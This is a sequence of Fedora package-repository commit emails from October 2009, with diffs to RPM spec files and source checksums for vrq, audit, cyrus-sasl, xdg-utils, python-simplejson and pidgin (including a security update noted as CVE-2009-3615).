diff -u -p -r1.3 -r1.4
--- sources	11 Oct 2009 05:34:41 -0000	1.3
+++ sources	16 Oct 2009 17:06:56 -0000	1.4
@@ -1 +1 @@
-48c7cc3bae486878b2f6e2fe353fc6c5  vrq-1.0.61.tar.gz
+5615c019e54dc5b62f040d1d95adaa51  vrq-1.0.62.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/vrq.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vrq.spec	11 Oct 2009 05:34:41 -0000	1.2
+++ vrq.spec	16 Oct 2009 17:06:56 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           vrq
-Version:        1.0.61
+Version:        1.0.62
 Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
@@ -69,8 +69,11 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 15 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.62-1
+- Updated to upstream package 1.0.62
+
 * Sat Oct 10 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.61-1
-- Updated to upstream packae 1.0.61
+- Updated to upstream package 1.0.61
 
 * Sun Sep 13 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.58-3
 - Removed ldconfig for post and postun as shared library not in /usr/lib



From shakthimaan at fedoraproject.org  Fri Oct 16 17:08:39 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Fri, 16 Oct 2009 17:08:39 +0000 (UTC)
Subject: rpms/vrq/F-12 .cvsignore, 1.3, 1.4 import.log, 1.1, 1.2 sources, 1.3,
	1.4 vrq.spec, 1.2, 1.3
Message-ID: <20091016170839.7F23E11C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2142/F-12

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to 1.0.62 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	11 Oct 2009 05:35:53 -0000	1.3
+++ .cvsignore	16 Oct 2009 17:08:37 -0000	1.4
@@ -1 +1 @@
-vrq-1.0.61.tar.gz
+vrq-1.0.62.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	11 Oct 2009 05:35:53 -0000	1.1
+++ import.log	16 Oct 2009 17:08:38 -0000	1.2
@@ -1 +1,2 @@
 vrq-1_0_61-1_fc11:F-12:vrq-1.0.61-1.fc11.src.rpm:1255239754
+vrq-1_0_62-1_fc11:F-12:vrq-1.0.62-1.fc11.src.rpm:1255713304


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	11 Oct 2009 05:35:53 -0000	1.3
+++ sources	16 Oct 2009 17:08:38 -0000	1.4
@@ -1 +1 @@
-48c7cc3bae486878b2f6e2fe353fc6c5  vrq-1.0.61.tar.gz
+5615c019e54dc5b62f040d1d95adaa51  vrq-1.0.62.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/vrq.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vrq.spec	11 Oct 2009 05:35:53 -0000	1.2
+++ vrq.spec	16 Oct 2009 17:08:38 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           vrq
-Version:        1.0.61
+Version:        1.0.62
 Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
@@ -69,8 +69,11 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 15 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.62-1
+- Updated to upstream package 1.0.62
+
 * Sat Oct 10 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.61-1
-- Updated to upstream packae 1.0.61
+- Updated to upstream package 1.0.61
 
 * Sun Sep 13 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.58-3
 - Removed ldconfig for post and postun as shared library not in /usr/lib



From sgrubb at fedoraproject.org  Fri Oct 16 17:09:20 2009
From: sgrubb at fedoraproject.org (Steve Grubb)
Date: Fri, 16 Oct 2009 17:09:20 +0000 (UTC)
Subject: rpms/audit/devel audit.spec,1.220,1.221 sources,1.130,1.131
Message-ID: <20091016170920.D984111C00E5@cvs1.fedora.phx.redhat.com>

Author: sgrubb

Update of /cvs/pkgs/rpms/audit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2818

Modified Files:
	audit.spec sources 
Log Message:
* Fri Oct 16 2009 Steve Grubb <sgrubb at redhat.com> 2.0.2-1
- New upstream release



Index: audit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audit/devel/audit.spec,v
retrieving revision 1.220
retrieving revision 1.221
diff -u -p -r1.220 -r1.221
--- audit.spec	28 Sep 2009 19:55:04 -0000	1.220
+++ audit.spec	16 Oct 2009 17:09:20 -0000	1.221
@@ -2,7 +2,7 @@
 
 Summary: User space tools for 2.6 kernel auditing
 Name: audit
-Version: 2.0.1
+Version: 2.0.2
 Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
@@ -109,6 +109,7 @@ rm -f $RPM_BUILD_ROOT/%{_libdir}/python?
 
 # On platforms with 32 & 64 bit libs, we need to coordinate the timestamp
 touch -r ./audit.spec $RPM_BUILD_ROOT/etc/libaudit.conf
+touch -r ./audit.spec $RPM_BUILD_ROOT/usr/share/man/man5/libaudit.conf.5.gz
 
 %ifnarch ppc ppc64
 %check
@@ -217,6 +218,9 @@ fi
 %attr(644,root,root) %{_mandir}/man8/audisp-remote.8.gz
 
 %changelog
+* Fri Oct 16 2009 Steve Grubb <sgrubb at redhat.com> 2.0.2-1
+- New upstream release
+
 * Mon Sep 28 2009 Steve Grubb <sgrubb at redhat.com> 2.0.1-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audit/devel/sources,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- sources	28 Sep 2009 19:55:04 -0000	1.130
+++ sources	16 Oct 2009 17:09:20 -0000	1.131
@@ -1 +1 @@
-5624f99dc1ce3a62b5e7622f98747ada  audit-2.0.1.tar.gz
+e4b930141ec6cc267f0911b3c82ea987  audit-2.0.2.tar.gz



From sgrubb at fedoraproject.org  Fri Oct 16 17:14:38 2009
From: sgrubb at fedoraproject.org (Steve Grubb)
Date: Fri, 16 Oct 2009 17:14:38 +0000 (UTC)
Subject: rpms/audit/devel audit.spec,1.221,1.222
Message-ID: <20091016171438.9A05011C00E5@cvs1.fedora.phx.redhat.com>

Author: sgrubb

Update of /cvs/pkgs/rpms/audit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4707

Modified Files:
	audit.spec 
Log Message:
* Fri Oct 16 2009 Steve Grubb <sgrubb at redhat.com> 2.0.2-1
- New upstream release



Index: audit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audit/devel/audit.spec,v
retrieving revision 1.221
retrieving revision 1.222
diff -u -p -r1.221 -r1.222
--- audit.spec	16 Oct 2009 17:09:20 -0000	1.221
+++ audit.spec	16 Oct 2009 17:14:38 -0000	1.222
@@ -142,6 +142,7 @@ fi
 %attr(755,root,root) /%{_lib}/libaudit.so.1*
 %attr(755,root,root) /%{_lib}/libauparse.*
 %config(noreplace) %attr(640,root,root) /etc/libaudit.conf
+%{_mandir}/man5/libaudit.conf.5.gz
 
 %files libs-devel
 %defattr(-,root,root,-)



From jfch2222 at fedoraproject.org  Fri Oct 16 17:16:41 2009
From: jfch2222 at fedoraproject.org (Jan F. Chadima)
Date: Fri, 16 Oct 2009 17:16:41 +0000 (UTC)
Subject: rpms/cyrus-sasl/devel cyrus-sasl.spec,1.85,1.86
Message-ID: <20091016171642.06D7911C00E5@cvs1.fedora.phx.redhat.com>

Author: jfch2222

Update of /cvs/pkgs/rpms/cyrus-sasl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5098

Modified Files:
	cyrus-sasl.spec 
Log Message:
Create saslauth user according to fedora packaging guide



Index: cyrus-sasl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cyrus-sasl/devel/cyrus-sasl.spec,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- cyrus-sasl.spec	24 Sep 2009 11:32:04 -0000	1.85
+++ cyrus-sasl.spec	16 Oct 2009 17:16:41 -0000	1.86
@@ -1,3 +1,4 @@
+%define uid		50
 %define username	saslauth
 %define hint		"Saslauthd user"
 %define homedir		%{_var}/empty/%{username}
@@ -8,7 +9,7 @@
 Summary: The Cyrus SASL library
 Name: cyrus-sasl
 Version: 2.1.23
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: BSD
 Group: System Environment/Libraries
 # Source0 originally comes from ftp://ftp.andrew.cmu.edu/pub/cyrus-mail/;
@@ -41,6 +42,7 @@ BuildRequires: autoconf, automake, libto
 BuildRequires: krb5-devel >= 1.2.2, openssl-devel, pam-devel, pkgconfig
 BuildRequires: mysql-devel, postgresql-devel, zlib-devel
 BuildRequires: db4-devel
+BuildRequires: fedora-usermgmt-devel
 %if ! %{bootstrap_cyrus_sasl}
 BuildRequires: openldap-devel
 %endif
@@ -48,8 +50,8 @@ Requires(post): chkconfig, /sbin/service
 Requires(pre): /usr/sbin/useradd /usr/sbin/groupadd
 Requires(postun): /usr/sbin/userdel /usr/sbin/groupdel
 Requires: /sbin/nologin
-Provides: user(%username) = %hint
-Provides: group(%username) = %hint
+Provides: user(%username) = %uid
+Provides: group(%username) = %uid
 
 
 %description
@@ -303,8 +305,8 @@ rm -f $RPM_BUILD_ROOT%{_mandir}/cat8/sas
 test "$RPM_BUILD_ROOT" != "/" && rm -rf $RPM_BUILD_ROOT
 
 %pre
-/usr/sbin/groupadd -r %{username} 2> /dev/null || :
-/usr/sbin/useradd -c \"%{hint}\" -g %{username} -s /sbin/nologin -r -d %{homedir} %{username} 2> /dev/null || :
+%__fe_groupadd %{uid} -r %{username} >/dev/null  2>&1 || :
+%__fe_useradd %{uid} -r -c \"%{hint}\" -g %{username} -s /sbin/nologin -d %{homedir} %{username} >/dev/null 2>&1 || :
 
 %post
 /sbin/chkconfig --add saslauthd
@@ -319,8 +321,8 @@ fi
 if [ $1 -ne 0 ] ; then
         /sbin/service saslauthd condrestart 2>&1 > /dev/null
 fi
-/usr/sbin/userdel %{username}
-/usr/sbin/groupdel %{username}
+%__fe_userdel %{username} >/dev/null 2>&1 || :
+%__fe_groupdel %{username} >/dev/null 2>&1 || :
 
 %post lib -p /sbin/ldconfig
 %postun lib -p /sbin/ldconfig
@@ -387,6 +389,9 @@ fi
 %{_sbindir}/sasl2-shared-mechlist
 
 %changelog
+* Fri Oct 16 2009 Jan F. Chadima <jchadima at redhat.com> - 2.1.23-6
+- Create the saslauth user according to fedora packaging guide
+
 * Thu Sep 24 2009 Jan F. Chadima <jchadima at redhat.com> - 2.1.23-5
 - Repair initscript to make condrestart working properly (#522103)
 



From sgrubb at fedoraproject.org  Fri Oct 16 17:20:28 2009
From: sgrubb at fedoraproject.org (Steve Grubb)
Date: Fri, 16 Oct 2009 17:20:28 +0000 (UTC)
Subject: rpms/audit/F-12 audit.spec,1.221,1.222
Message-ID: <20091016172028.820C611C029F@cvs1.fedora.phx.redhat.com>

Author: sgrubb

Update of /cvs/pkgs/rpms/audit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7262

Modified Files:
	audit.spec 
Log Message:
* Fri Oct 16 2009 Steve Grubb <sgrubb at redhat.com> 2.0.2-1
- New upstream release



Index: audit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audit/F-12/audit.spec,v
retrieving revision 1.221
retrieving revision 1.222
diff -u -p -r1.221 -r1.222
--- audit.spec	16 Oct 2009 17:04:23 -0000	1.221
+++ audit.spec	16 Oct 2009 17:20:28 -0000	1.222
@@ -142,6 +142,7 @@ fi
 %attr(755,root,root) /%{_lib}/libaudit.so.1*
 %attr(755,root,root) /%{_lib}/libauparse.*
 %config(noreplace) %attr(640,root,root) /etc/libaudit.conf
+%{_mandir}/man5/libaudit.conf.5.gz
 
 %files libs-devel
 %defattr(-,root,root,-)



From rdieter at fedoraproject.org  Fri Oct 16 17:24:54 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 16 Oct 2009 17:24:54 +0000 (UTC)
Subject: rpms/xdg-utils/devel sources,1.12,1.13 xdg-utils.spec,1.24,1.25
Message-ID: <20091016172454.9988F11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/xdg-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8797

Modified Files:
	sources xdg-utils.spec 
Log Message:
* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-14.20091016cvs
- prefer gvfs-open over gnome-open (#529287)
- DE=gnome, if org.gnome.SessionManager exists on dbus (#529287)



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xdg-utils/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	22 Sep 2009 00:32:53 -0000	1.12
+++ sources	16 Oct 2009 17:24:54 -0000	1.13
@@ -1 +0,0 @@
-3930e087b2fab167b9d4ee0ecaa6adab  xdg-utils-20090921cvs.tgz


Index: xdg-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xdg-utils/devel/xdg-utils.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- xdg-utils.spec	22 Sep 2009 00:32:53 -0000	1.24
+++ xdg-utils.spec	16 Oct 2009 17:24:54 -0000	1.25
@@ -1,10 +1,10 @@
 
-%define cvs 20090921cvs
+%define cvs 20091016cvs
 
 Summary: Basic desktop integration functions 
 Name:    xdg-utils
 Version: 1.0.2
-Release: 12.%{cvs}%{?dist}
+Release: 14.%{cvs}%{?dist}
 
 URL:     http://portland.freedesktop.org/ 
 %if 0%{?cvs:1}
@@ -106,6 +106,13 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-14.20091016cvs
+- prefer gvfs-open over gnome-open (#529287)
+- DE=gnome, if org.gnome.SessionManager exists on dbus (#529287)
+
+* Mon Sep 28 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-13.20090928cvs
+- xdg-open: use kde-open
+
 * Mon Sep 21 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-12.20090921cvs
 - suppress stderr from kde-config (#524724)
 



From rdieter at fedoraproject.org  Fri Oct 16 17:25:28 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 16 Oct 2009 17:25:28 +0000 (UTC)
Subject: rpms/xdg-utils/devel .cvsignore,1.13,1.14 sources,1.13,1.14
Message-ID: <20091016172528.9D06E11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/xdg-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8965

Modified Files:
	.cvsignore sources 
Log Message:
new sources too



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xdg-utils/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	22 Sep 2009 00:32:53 -0000	1.13
+++ .cvsignore	16 Oct 2009 17:25:28 -0000	1.14
@@ -1 +1 @@
-xdg-utils-20090921cvs.tgz
+xdg-utils-20091016cvs.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xdg-utils/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	16 Oct 2009 17:24:54 -0000	1.13
+++ sources	16 Oct 2009 17:25:28 -0000	1.14
@@ -0,0 +1 @@
+4a60deb7a09f57959b335e0d5acaf15c  xdg-utils-20091016cvs.tgz



From rdieter at fedoraproject.org  Fri Oct 16 17:26:47 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 16 Oct 2009 17:26:47 +0000 (UTC)
Subject: rpms/xdg-utils/F-12 .cvsignore, 1.13, 1.14 sources, 1.12,
	1.13 xdg-utils.spec, 1.24, 1.25
Message-ID: <20091016172647.D215A11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/xdg-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9273

Modified Files:
	.cvsignore sources xdg-utils.spec 
Log Message:
sync w/devel



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xdg-utils/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	22 Sep 2009 00:32:53 -0000	1.13
+++ .cvsignore	16 Oct 2009 17:26:47 -0000	1.14
@@ -1 +1 @@
-xdg-utils-20090921cvs.tgz
+xdg-utils-20091016cvs.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xdg-utils/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	22 Sep 2009 00:32:53 -0000	1.12
+++ sources	16 Oct 2009 17:26:47 -0000	1.13
@@ -1 +1 @@
-3930e087b2fab167b9d4ee0ecaa6adab  xdg-utils-20090921cvs.tgz
+4a60deb7a09f57959b335e0d5acaf15c  xdg-utils-20091016cvs.tgz


Index: xdg-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xdg-utils/F-12/xdg-utils.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- xdg-utils.spec	22 Sep 2009 00:32:53 -0000	1.24
+++ xdg-utils.spec	16 Oct 2009 17:26:47 -0000	1.25
@@ -1,10 +1,10 @@
 
-%define cvs 20090921cvs
+%define cvs 20091016cvs
 
 Summary: Basic desktop integration functions 
 Name:    xdg-utils
 Version: 1.0.2
-Release: 12.%{cvs}%{?dist}
+Release: 14.%{cvs}%{?dist}
 
 URL:     http://portland.freedesktop.org/ 
 %if 0%{?cvs:1}
@@ -106,6 +106,13 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-14.20091016cvs
+- prefer gvfs-open over gnome-open (#529287)
+- DE=gnome, if org.gnome.SessionManager exists on dbus (#529287)
+
+* Mon Sep 28 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-13.20090928cvs
+- xdg-open: use kde-open
+
 * Mon Sep 21 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-12.20090921cvs
 - suppress stderr from kde-config (#524724)
 



From lmacken at fedoraproject.org  Fri Oct 16 18:18:16 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Fri, 16 Oct 2009 18:18:16 +0000 (UTC)
Subject: rpms/python-simplejson/EL-5 .cvsignore, 1.7,
	1.8 python-simplejson.spec, 1.10, 1.11 sources, 1.7, 1.8
Message-ID: <20091016181816.3769111C00E5@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-simplejson/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22153

Modified Files:
	.cvsignore python-simplejson.spec sources 
Log Message:
Update our simplejson package to 2.0.9



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-simplejson/EL-5/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	24 Oct 2008 19:34:56 -0000	1.7
+++ .cvsignore	16 Oct 2009 18:18:15 -0000	1.8
@@ -1 +1 @@
-simplejson-2.0.3.tar.gz
+simplejson-2.0.9.tar.gz


Index: python-simplejson.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-simplejson/EL-5/python-simplejson.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- python-simplejson.spec	24 Oct 2008 19:34:56 -0000	1.10
+++ python-simplejson.spec	16 Oct 2009 18:18:15 -0000	1.11
@@ -2,14 +2,14 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           python-simplejson
-Version:        2.0.3
-Release:        2%{?dist}
+Version:        2.0.9
+Release:        1%{?dist}
 Summary:        Simple, fast, extensible JSON encoder/decoder for Python
 
 Group:          System Environment/Libraries
 License:        MIT
 URL:            http://undefined.org/python/#simplejson
-Source0:        http://cheeseshop.python.org/packages/source/s/simplejson/simplejson-%{version}.tar.gz
+Source0:        http://pypi.python.org/packages/source/s/simplejson/simplejson-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python-devel
@@ -18,9 +18,9 @@ BuildRequires:  python-nose
 
 
 %description
-simplejson is a simple, fast, complete, correct and extensible
-JSON <http://json.org> encoder and decoder for Python 2.3+.  It is
-pure Python code with no dependencies.
+simplejson is a simple, fast, complete, correct and extensible JSON
+<http://json.org> encoder and decoder for Python 2.4+.  It has no
+external dependencies.
 
 simplejson was formerly known as simple_json, but changed its name to
 comply with PEP 8 module naming guidelines.
@@ -65,6 +65,15 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Jun  4 2009 Kyle VanderBeek <kylev at kylev.com> - 2.0.9-1
+- Update to 2.0.9
+- Make sure to require gcc to the speedups get compiled
+- Fix description since we're not "pure" python
+- Change to pypi instead of cheesehop
+
+* Tue Jan 06 2009 Luke Macken <lmacken at redhat.com> 2.0.7-1
+- Update to 2.0.7
+
 * Thu Oct 23 2008 Luke Macken <lmacken at redhat.com> 2.0.3-2
 - Use nose to run the simplejson test suite
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-simplejson/EL-5/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	24 Oct 2008 19:34:56 -0000	1.7
+++ sources	16 Oct 2009 18:18:15 -0000	1.8
@@ -1 +1 @@
-6da5d665c9e772ac65eae9b4ce6d737b  simplejson-2.0.3.tar.gz
+af5e67a39ca3408563411d357e6d5e47  simplejson-2.0.9.tar.gz



From wtogami at fedoraproject.org  Fri Oct 16 19:26:40 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Fri, 16 Oct 2009 19:26:40 +0000 (UTC)
Subject: rpms/pidgin/devel .cvsignore, 1.34,
	1.35 pidgin-2.6.2-crash-validate-jid.patch, 1.1, 1.2 pidgin.spec,
	1.97, 1.98 sources, 1.34,
	1.35 pidgin-2.6.2-aim-buddy-status-grab.patch, 1.1, NONE
Message-ID: <20091016192640.BC6A611C00E5@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/pidgin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9941

Modified Files:
	.cvsignore pidgin-2.6.2-crash-validate-jid.patch pidgin.spec 
	sources 
Removed Files:
	pidgin-2.6.2-aim-buddy-status-grab.patch 
Log Message:
2.6.3 CVE-2009-3615



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/devel/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	6 Sep 2009 01:43:41 -0000	1.34
+++ .cvsignore	16 Oct 2009 19:26:40 -0000	1.35
@@ -1,2 +1 @@
-pidgin-2.6.2.tar.bz2
-pidgin-2.6.2.tar.bz2
+pidgin-2.6.3.tar.bz2

pidgin-2.6.2-crash-validate-jid.patch:
 protocols/jabber/jutil.c  |    7 +++----
 tests/test_jabber_jutil.c |    1 +
 2 files changed, 4 insertions(+), 4 deletions(-)

Index: pidgin-2.6.2-crash-validate-jid.patch
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/devel/pidgin-2.6.2-crash-validate-jid.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pidgin-2.6.2-crash-validate-jid.patch	9 Sep 2009 20:52:46 -0000	1.1
+++ pidgin-2.6.2-crash-validate-jid.patch	16 Oct 2009 19:26:40 -0000	1.2
@@ -2,12 +2,6 @@ http://developer.pidgin.im/ticket/10259
 http://developer.pidgin.im/viewmtn/revision/info/cb46b045aa6e927a3814d9053c2b1c0f08d6fa62
 Fix a crash when attempting to validate a JID with an invalid resource.
 
-#
-#
-# patch "ChangeLog"
-#  from [959824a520d41286c4d89d8899a8e12b684e5ad8]
-#    to [6e78b15060f29fe30ae1b695f61248014b305d49]
-# 
 # patch "libpurple/protocols/jabber/jutil.c"
 #  from [9047c2dfd575de6ec516dd8377bce70df42d5063]
 #    to [603120abe6629d5e8f9e79d5198134bb252b0875]
@@ -17,19 +11,6 @@ Fix a crash when attempting to validate 
 #    to [42bdbb36f39b7d894d5f6f68e1b02f4c1ce4973a]
 #
 ============================================================
---- ChangeLog	959824a520d41286c4d89d8899a8e12b684e5ad8
-+++ ChangeLog	6e78b15060f29fe30ae1b695f61248014b305d49
-@@ -1,5 +1,9 @@ Pidgin and Finch: The Pimpin' Penguin IM
- Pidgin and Finch: The Pimpin' Penguin IM Clients That're Good for the Soul
- 
-+version 2.6.3 (??/??/20??):
-+	XMPP:
-+	* Fix a crash when attempting to validate an invalid JID.
-+
- version 2.6.2 (09/05/2009):
- 	libpurple:
- 	* Fix --disable-avahi to actually disable it in configure, as opposed
-============================================================
 --- libpurple/protocols/jabber/jutil.c	9047c2dfd575de6ec516dd8377bce70df42d5063
 +++ libpurple/protocols/jabber/jutil.c	603120abe6629d5e8f9e79d5198134bb252b0875
 @@ -153,10 +153,9 @@ jabber_idn_validate(const char *str, con


Index: pidgin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/devel/pidgin.spec,v
retrieving revision 1.97
retrieving revision 1.98
diff -u -p -r1.97 -r1.98
--- pidgin.spec	9 Sep 2009 20:52:46 -0000	1.97
+++ pidgin.spec	16 Oct 2009 19:26:40 -0000	1.98
@@ -81,8 +81,8 @@
 %endif
 
 Name:		pidgin
-Version:	2.6.2
-Release:	2%{?dist}
+Version:	2.6.3
+Release:	1%{?dist}
 License:        GPLv2+ and GPLv2 and MIT
 # GPLv2+ - libpurple, gnt, finch, pidgin, most prpls
 # GPLv2 - silc & novell prpls
@@ -116,7 +116,6 @@ Source2:        one_time_password.c
 Patch0: pidgin-NOT-UPSTREAM-2.5.2-rhel4-sound-migration.patch
 
 ## Patches 100+: To be Included in Future Upstream
-Patch100: pidgin-2.6.2-aim-buddy-status-grab.patch
 Patch101: pidgin-2.6.2-yahoo-buddy-idle-time.patch
 Patch102: pidgin-2.6.2-yahoo-status-change-away.patch
 Patch103: pidgin-2.6.2-crash-validate-jid.patch
@@ -377,7 +376,6 @@ echo "FEDORA=%{fedora} RHEL=%{rhel}"
 %endif
 
 ## Patches 100+: To be Included in Future Upstream
-%patch100 -p0 -b .aim-buddy-status-grab
 %patch101 -p0 -b .yahoo-buddy-idle-time
 %patch102 -p0 -b .yahoo-status-change-away
 %patch103 -p0 -b .pidgin-2.6.2-crash-validate-jid
@@ -625,6 +623,9 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Fri Oct 16 2009 Warren Togami <wtogami at redhat.com> 2.6.3-1
+- 2.6.3 CVE-2009-3615
+
 * Wed Sep 09 2009 Warren Togami <wtogami at redhat.com> 2.6.2-2
 - Upstream backports:
     97e003ed2bc2bafbb993693c9ae9c6d667731cc1 aim-buddy-status-grab


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/devel/sources,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- sources	6 Sep 2009 01:43:41 -0000	1.34
+++ sources	16 Oct 2009 19:26:40 -0000	1.35
@@ -1,2 +1 @@
-306b6b60aefa9c5d5bffb08c576aa955  pidgin-2.6.1.tar.bz2
-a1bbb3c9be7d4ee1f53590d319cbfa72  pidgin-2.6.2.tar.bz2
+8d0ff6215b2d023eaa8efef59097ef83  pidgin-2.6.3.tar.bz2


--- pidgin-2.6.2-aim-buddy-status-grab.patch DELETED ---



From wtogami at fedoraproject.org  Fri Oct 16 20:10:47 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Fri, 16 Oct 2009 20:10:47 +0000 (UTC)
Subject: rpms/pidgin/F-12 .cvsignore, 1.34,
	1.35 pidgin-2.6.2-crash-validate-jid.patch, 1.1, 1.2 pidgin.spec,
	1.97, 1.98 sources, 1.34,
	1.35 pidgin-2.6.2-aim-buddy-status-grab.patch, 1.1, NONE
Message-ID: <20091016201047.B5C3A11C02A2@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/pidgin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22328

Modified Files:
	.cvsignore pidgin-2.6.2-crash-validate-jid.patch pidgin.spec 
	sources 
Removed Files:
	pidgin-2.6.2-aim-buddy-status-grab.patch 
Log Message:
